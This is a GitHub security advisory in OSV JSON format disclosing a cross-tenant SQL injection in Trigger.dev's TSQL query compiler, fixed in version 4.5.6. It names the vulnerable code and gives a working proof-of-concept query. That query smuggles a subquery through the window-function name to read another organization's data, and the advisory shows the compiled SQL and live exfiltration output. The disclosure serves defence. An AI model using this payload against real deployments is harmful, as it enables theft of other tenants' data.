GHSA-9q4r-4842-93vw: Trigger.dev SQL Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9q4r-4842-93vw",
  "modified" : "2026-10-02T22:42:20Z",
  "published" : "2026-10-02T22:42:20Z",
  "aliases" : [ ],
  "summary" : "Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name",
  "details" : "### Summary\n\nA cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant's analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits **outside** the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.\n\n### Details\n\n**Vulnerable sink** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:\n\n```ts\nprivate visitWindowFunction(node: WindowFunction): string {\n  const args = node.args ? node.args.map((a) => this.visit(a)) : [];\n  const funcCall = `${node.name}(${args.join(\", \")})`;   // <-- node.name concatenated RAW\n  ...\n}\n```\n\n`node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:\n\n- The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists — **this gate is absent on the window-function path**.\n- String constants are bound as ClickHouse `query_params` (parameterized).\n- Other identifiers go through `escapeClickHouseIdentifier`.\n- Table functions (`url()/file()/remote()/s3()`) are rejected.\n\nA **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, `(`, `)`, `,`, `'`, a full subquery — become the \"function name\" and are printed verbatim.\n\n**How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table's `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller's API key). An injected **subquery** has no such guard, so it reads across all tenants.\n\n**Reachability** — `apps/webapp/app/routes/api.v1.query.ts`:\n- `body.query` is a raw `z.string()`.\n- Auth is any environment-scoped credential — a private API key or a public JWT — i.e. **any signed-up customer**.\n- The route's authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.\n- `executeQuery` passes the caller's `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it.\n\n### PoC\n\nReproduced in two stages: (1) the project's real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.\n\n**1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`):\n\n```sql\nSELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs\n```\n\n**2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):**\n\n```sql\nSELECT count() OVER (),\n       (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2\n        WHERE organization_id = 'org_OTHER_TENANT') AS stolen,        -- INJECTED, RAW, UNGUARDED\n       dummy(() OVER () AS x\nFROM trigger_dev.task_runs_v2 AS task_runs\nWHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),\n          equals(task_runs.project_id,      {tsql_val_1: String}),\n          equals(task_runs.environment_id,  {tsql_val_2: String}))    -- guard ONLY on outer table\nLIMIT 10000\n```\n\nThe injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard.\n\n**3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`:\n\n```\nSeed:\n  org_tenant1      -> payload 'tenant1-public-data'                         (attacker's own org)\n  org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',\n                      'VICTIM-SECRET-db_password_hunter2'                    (victim)\n\nBaseline (legitimate tenant1 query, guard = org_tenant1):\n  -> 'tenant1-public-data'                                                  (only own data)\n\nExploit (injected subquery, guard STILL org_tenant1):\n  SELECT 1 AS keep,\n         (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,\n         count() OVER () AS w\n  FROM trigger_dev.task_runs_v2 AS task_runs\n  WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)\n  -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']\n```\n\nA caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.\n\n**Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "trigger.dev"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-9q4r-4842-93vw"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/pull/4316"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/triggerdotdev/trigger.dev"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T22:42:20Z",
    "nvd_published_at" : null
  }
}